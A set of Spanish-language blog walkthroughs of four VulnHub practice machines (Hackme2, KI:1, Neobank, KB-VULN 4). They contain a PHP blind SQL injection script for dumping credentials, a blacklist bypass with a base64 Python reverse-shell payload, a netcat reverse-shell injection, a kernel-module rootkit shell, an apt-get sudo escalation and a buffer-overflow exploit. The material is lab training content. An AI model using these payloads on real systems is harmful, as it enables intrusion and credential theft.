miércoles, 10 de agosto de 2022

Breaking Hackme2: medium difficulty blind sql injection

 https://www.vulnhub.com/entry/hackme-2,618/

medium difficulty

- Nos encontramos con una pantalla de login y la posibilidad de registrarnos. Lo hacemos y se nos presenta un catálogo de libros donde podemos buscar. Después de probar fuzz parece que lo único viable es fuerza bruta o inyección sql y aquí radica lo interesante como buen ejemplo de 'blind sql injection' y de que sin saber cómo pueden acceder a nuestro sitio ;)



- Lo primero es probar de qué manera es vulnerable. Podría ser en el login, al registrarse o en la búsqueda. Hay que probarlo todo pero es obvio que el campo de búsqueda es el candidato ideal. Sabemos que al buscar en vacío devuelve todo el catálogo, luego vamos a probar una inyección básica:

' or 1=1 -- -

Para eso utilizamos mejor Burp y vamos probando hasta que nos devuelva el catálogo, signo de que hemos dado con la inyección correcta. Hay que probarlo todo por si hay algún mecanismo de protección, y así es como llegamos a 

'/**/oR/**/'1'='1'oR/**/'

que hay que enviar urlencodeado



- A partir de ahí hay que hacer inyección ciega con el único criterio de que si hacemos la petición correcta salga el catálogo entero. Ejemplo:

'/**/oR/**/'1'='1'/**/AND/**/(SELECT/**/table_name/**/FROM/**/information_schema.tables/**/WHERE/**/table_schema=database()/**/LIMIT/**/1,1)/**/LIKE/**/'u%'/**/oR/**/'

De esta manera vamos comprobando cada carácter del nombre de la tabla indicada (en este caso u en LIKE/**/'u%') y así podemos sacar todas las tablas, las columnas de cada una y los valores. Nos interesa buscar los usuarios y las passwords, y eso se puede automatizar:

<?php
function finddata($query)
{
$url="http://192.168.2.48/welcome.php";
$headers=array(
"Content-Type: application/x-www-form-urlencoded",
"Cookie: PHPSESSID=fud7t74636vfa9opo9lme101di",
"Host: 192.168.2.48");
$return=array();
$charset = 'abcdefghijklmnopqrstuvwxyz0123456789_';
$f=$g=true;$d=0;
$query="' oR '1'='1' AND ".$query." oR '";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

while ($g)
{
$v1="";
while ($f)
{
$f=false;
for ($c=0;$c<strlen($charset);$c++)
{
$t = $v1.$charset[$c];
$inject=str_replace(array('dn','tn'),array($d,$t),$query);
$post="search=".urlencode(str_replace(" ","/**/",$inject));
curl_setopt($ch, CURLOPT_POSTFIELDS,$post);
$h2 = $headers;$h2[]="Content-Length: ".strlen($post);
curl_setopt($ch, CURLOPT_HTTPHEADER,$h2);
$res = curl_exec($ch);
if (strpos($res,'Anonymous Hackers')) {$f=true;$v1=$t;echo $v1."\x0d";break;}
}
}
++$d;$f=true;echo "\n";if ($v1=="") $g=false; else $return[]=$v1;
}
return $return;
}
echo "TABLAS\n";
finddata("(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT dn,1) LIKE 'tn%'");
echo "Columnas de users\n";
finddata("(SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='users' LIMIT dn,1) LIKE 'tn%'");
echo "Entradas de user\n";
$users=finddata("(SELECT user FROM users LIMIT dn,1) LIKE 'tn%'");
echo "Entradas de password\n";
$passwords=finddata("(SELECT pasword FROM users LIMIT dn,1) LIKE 'tn%'");
for ($k=0;$k<sizeof($users);$k++)
{
echo $users[$k]." ".$passwords[$k]."\n";
}
?>

- Una vez sacado el usuario superadmin y su contraseña en md5, la crackeamos y al acceder con este usuario tenemos la posibilidad de uploadear un shell reverse directamente.





viernes, 5 de agosto de 2022

Breaking KI:1 Walkthrough | runki injection + kmod exploit

 Wup KI: 1


https://www.vulnhub.com/entry/ki-1,641/


- puertos 80 y 22. En 80 un frontend sin mucha historia excepto que en el index aparece este mensaje


 <!-- T-56818 Link removed due to bug report. Will remove the debug page later - chris -->

 

- gobuster y encontramos debug.php, al acceder


<!-- T-56819 - added file parameter for easier page navigation with linuxki - chris -->


=== runki for Linux version 6.0

!!! runki script must be run as root

!!! currently logged in with UID 33


- Tenemos así que se le pasa el parámeter file, hay que buscar resultados: sabemos que es un sistema runki


https://github.com/HewlettPackard/LinuxKI/releases


y que tiene una archivo vulnerable: kivis.php // https://www.exploit-db.com/exploits/48483


al que se accede por la ruta 


/linuxki/experimental/vis/kivis.php


- probamos la vulnerabilidad pero no funciona, probamos entonces el debug.php


/debug.php?file=?


buscamos el kivis.php, probamos alternativas y con file=kivis sale. Vemos que tiene una protección contra el exploit anterior:


// this should keep those rapscallion hackers out! - chris

function url_filter($url_args){

    $blacklisted_chars = array(

        ';' => '',

        '&' => '',

        '$' => '',

        '(' => '',

        ')' => '',

        ' |' => '',

    );

se trata entonces de lograr un bypass de este control. Resalta el último check ' |' => '', al que le falta la doble |, pues con esto se logra el bypass, es decir, en Burp


GET /linuxki/experimental/vis/kivis.php?type=kitrace&pid=15%7C%7Cls%7C%7C 


conseguimos RCE. Ya solo falta meter el reverse shell, que tras varios intentos conseguimos creando un archivo hack.php pasando el contenido en base64


GET /linuxki/experimental/vis/kivis.php?type=kitrace&pid=15%7C%7Cecho%20%27PD9waHAgc3lzdGVtKCJweXRob24zIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KChcIjE5Mi4xNjguMi44NlwiLDkwMDgpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFtcIi9iaW4vc2hcIixcIi1pXCJdKTsnIik7Pz4%3D%27%20%7C%7C%20base64%20-d%20%3E%20hack.php%7C%7C HTTP/1.1


GET /linuxki/experimental/vis/kivis.php?type=kitrace&pid=15%7C%7Ccat%20hack.php%7C%7C HTTP/1.1


<textarea name='kidetail' cols='190' rows='56'> <?php system("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.2.86\",9008));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'");?> </textarea>


- una vez dentro miramos en el .htpasswd de /var/www/html y nos da la contraseña md5 de chris, jhf y dentro su chris


- no tenemos sudo -l, pero en el directorio home de chris hay un hint y tenemos suid kmod. Esto nos lleva al exploit pinkit


https://github.com/PinkP4nther/Pinkit


- descargamos el github, make, abrimos en otra ventana de nuestra máquina el nc a la escucha y hacemos (insmod es alias de kmod, que es suid con lo que podemos conseguir un shell reverse root)


insmod pinkit.ko host="REV_TCP_LH=127.0.0.1" port="REV_TCP_LP=1339" // cambiar ip y port


─(kali㉿kali)-[~]

└─$ nc -lvnp 9007

Ncat: Version 7.92 ( https://nmap.org/ncat )

Ncat: Listening on :::9007

Ncat: Listening on 0.0.0.0:9007

Ncat: Connection from 192.168.2.108.

Ncat: Connection from 192.168.2.108:49030.

/bin/sh: 0: can't access tty; job control turned off

# id

uid=0(root) gid=0(root) groups=0(root)

# cd /root

# ls

root.txt

snap

# cat root.txt

Congratulations! Feel free to tweet me @cwinfosec for feedback.


ae3e05609da7811c015920151e295612


Breaking NEOBANK

HTTPS://WWW.VULNHUB.COM/ENTRY/NEOBANK-1,642/

- solo tenemos abierto el puerto 5000 --> apunta a servidor python flask

- fuzzeamos y encontramos: LOGIN,LOGOUT, QR,OTP,WITHDRAW,EMAILS_LIST

- parece orientado a bruteforcear el login con alguno de los emails. Dado que la pass es un código otp hablamos de 1000000 de números aunque podemos empezar filtrando el diccionario rockyou para extraer las passwords que sean números de 6 dígitos. Se hace con Burp y sale rápidamente para zeus (hay que hacerlo lentamente y este es el problema, si no se bloquea la máquina). Y hay que analizar sobre todo la cookie en base64. Por longitud sale rápidamente que hemos logueado. 

- una vez dentro nos pide factor 2f de autenticación (/otp) pero necesitamos el secreto. Usando /qr obtenemos el código qr que incluye el secreto y generamos el 2f: 

python -c 'import pyotp;totp = pyotp.TOTP("secreto");print(totp.now())'

- Con eso accedemos a la página withdraw donde parece que está el punto de inyección. Probamos si es vulnerable (7*7) y procedemos: 

__import__('os').system('nc your_ip port -e /bin/sh') (urlencodear)


- desde el shell reverse leemos el archivo main.py y con las credenciales mysql accedemos a los usuarios y nos encontramos con la contraseña de banker

- su banker + passwd, sudo -l y

User banker may run the following commands on neobank:
    (ALL) NOPASSWD: /usr/bin/apt-get
banker@neobank:/var/www/html$ sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
<apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
# id
id
uid=0(root) gid=0(root) groups=0(root)



martes, 2 de agosto de 2022

BREAKING KB-VULN: 4 FINAL: buen ejemplo de buffer overflow con ASLR activado

 https://www.vulnhub.com/entry/kb-vuln-4-final,648/

Nivel: quizá medium (sobre todo por la parte de buffer overflow)

- ports: 80,22, la web parece hackeada de por sí (;)) y tiene un textpattern instalado. Después de probar varias cosas parece que lo único viable es loguear, pero no tenemos las claves

- de la página principal sacamos que ha sido un tal machineboy141 que dice que lo busquemos. Usamos sherlock y vamos al github asociado. Miramos varias cosas y parece que el objetivo es KB-DUMP, en cuyo zip hay varias imágenes (parece Mr Robot). Hacemos stego con stegseek y automáticamente saca en 3 imágenes texto oculto del que deducimos que es para loguear en el textpattern. Sabemos que el login tiene que ser admin, luego hacemos ROT47 y encontramos el descifrado (https://www.dcode.fr/cipher-identifier). Para loguear hace falta además actualizar la password: contiene 2020, pero la máquina es de 2021, actualizamos y ya... (ojo a esto que es bastante habitual en usuarios normales)

- una vez dentro solo hay que subir un shell reverse en la opción files, acceder a él y tenemos shell apache. Lo siguiente es escalar privilegios, subir en este caso al usuario machineboy (lo suyo es mirar en passwd o en home directamente para ver qué usuarios hay, pero con passwd sabemos el nivel de privilegio de cada uno)

- así que hay que entrar en machineboy. En el config.php de textpattern nos da una clave: ghostroot510 asociada al usuario textuser, y siempre hay que comprobar las claves, con machineboy y dentro.

- machineboy tiene privilegios lxd, pero no funciona la vulnerabilidad. Tenemos sin embargo en su home un script install root que parece debemos romper, hacer bufferoverflow. Nos da el código c y tenemos el gdb-peda instalado (así que está claro)

- install.c

#include <stdio.h>
#include <stdlib.h>
void spawn_shell()
{
     setuid(0);
     system("/bin/bash");
}
int main()
{
      char buff[30];
      const char *env = getenv("INSTALLED");
      if(env != NULL)
      {
        strcpy(buff,env);
        printf("%s\n",buff);
      }
      else
      {
         system("sudo apt install sl");
         system("export INSTALLED=OK");
      }
     return 0;
}

- es un ejemplo sencillo pero pedagógico para ver cómo funciona esto. Veamos:

al ejecutarse comprueba si hay una variable environment INSTALLED con algún valor, si la hay llena buff con su valor y lo imprime. Si no, ejecuta el apt install y exporta la variable.



Dos cosas:

1º que la función spawn_shell no se ejecuta nunca a no ser que accedamos a ella directamente por buffer overflow

2º que el punto de entrada es obviamente la variable buff



Lo primero además es comprobar si la máquina tiene aslr activado

cat /proc/sys/kernel/randomize_va_space 

y lo tiene, luego el programa va cambiando la dirección de carga en memoria.


La aleatoriedad en la disposición del espacio de direcciones (conocida por las siglas en inglés ASLR) es una técnica de seguridad informática relacionada con la explotación de vulnerabilidades basadas en la corrupción de memoria. Con el fin de impedir que un atacante salte de forma fiable a, por ejemplo, una función explotable en concreto de la memoria, ASLR dispone de forma aleatoria las posiciones del espacio de direcciones de las áreas de datos clave de un proceso, incluyendo la base del ejecutable y las posiciones de la pila, el heap y las librerías.


Bajamos el programa a nuestra máquina, desactivamos aslr y en estático con gdb calculamos el payload que nos permita alcanzar la función spawn_shell que ejecuta el shell en root.

La inyección se hace a través de la variable env INSTALLED que comprueba e imprime.

1. Creamos un pattern con metasploit

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000

2. lo metemos en el env 

export INSTALLED=Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

(se puede hacer con menos, sabemos que el buffer es de 30, pero en situaciones random hay que calcularlo a ciegas)

3. y en gdb-peda ejecutamos, fijándonos en la salida segmentada (si no segmenta aumentar el pattern)

Stopped reason: SIGSEGV
0x41346241 in ?? ()

4. Calculamos la longitud del payload con metasploit

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x41346241
[*] Exact match at offset 42

5. Luego el payload debe tener longitud 46, los 42 caracteres random para el overflow y debemos sobreescribir EIP donde pondremos la dirección de spawn_shell. Para comprobar que todo funciona podemos hacer 

export INSTALLED=$(python -c "print(b'\x42' * 42 + 'K'*4)")

y comprobar en gdb-peda que EIP se llena con "KKKK".

6. En lugar de las k's metemos la dirección buscada: en gdb-peda: info line spawn_shell. Con eso sabemos que funciona en estático, pero en la máquina víctima con aslr activado hay que bruteforcearlo porque las direcciones varían pero no mucho. Antes de eso hacemos el gdb en la máquina víctima para ver la dirección de la función spawn_shell y actualizamos el payload, y después basta con hacer

for i in {1..500}; do ./install; done

en unas pocas iteraciones romperá correctamente:

Segmentation fault (core dumped)
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF�cV
Segmentation fault (core dumped)
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF�cV
root@kb-server:~# id
uid=0(root) gid=1000(machineboy) groups=1000(machineboy),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
root@kb-server:~# cd /root
root@kb-server:/root# ls
root.txt
root@kb-server:/root# cat root.txt
 ________________
< congratulations >
 ----------------
       \   ,__,
        \  (oo)____
           (__)    )\
              ||--|| *
 
                          kernelblog.org
                          
cdf323526dbbd53d572d485fdd37d518
root@kb-server:/root#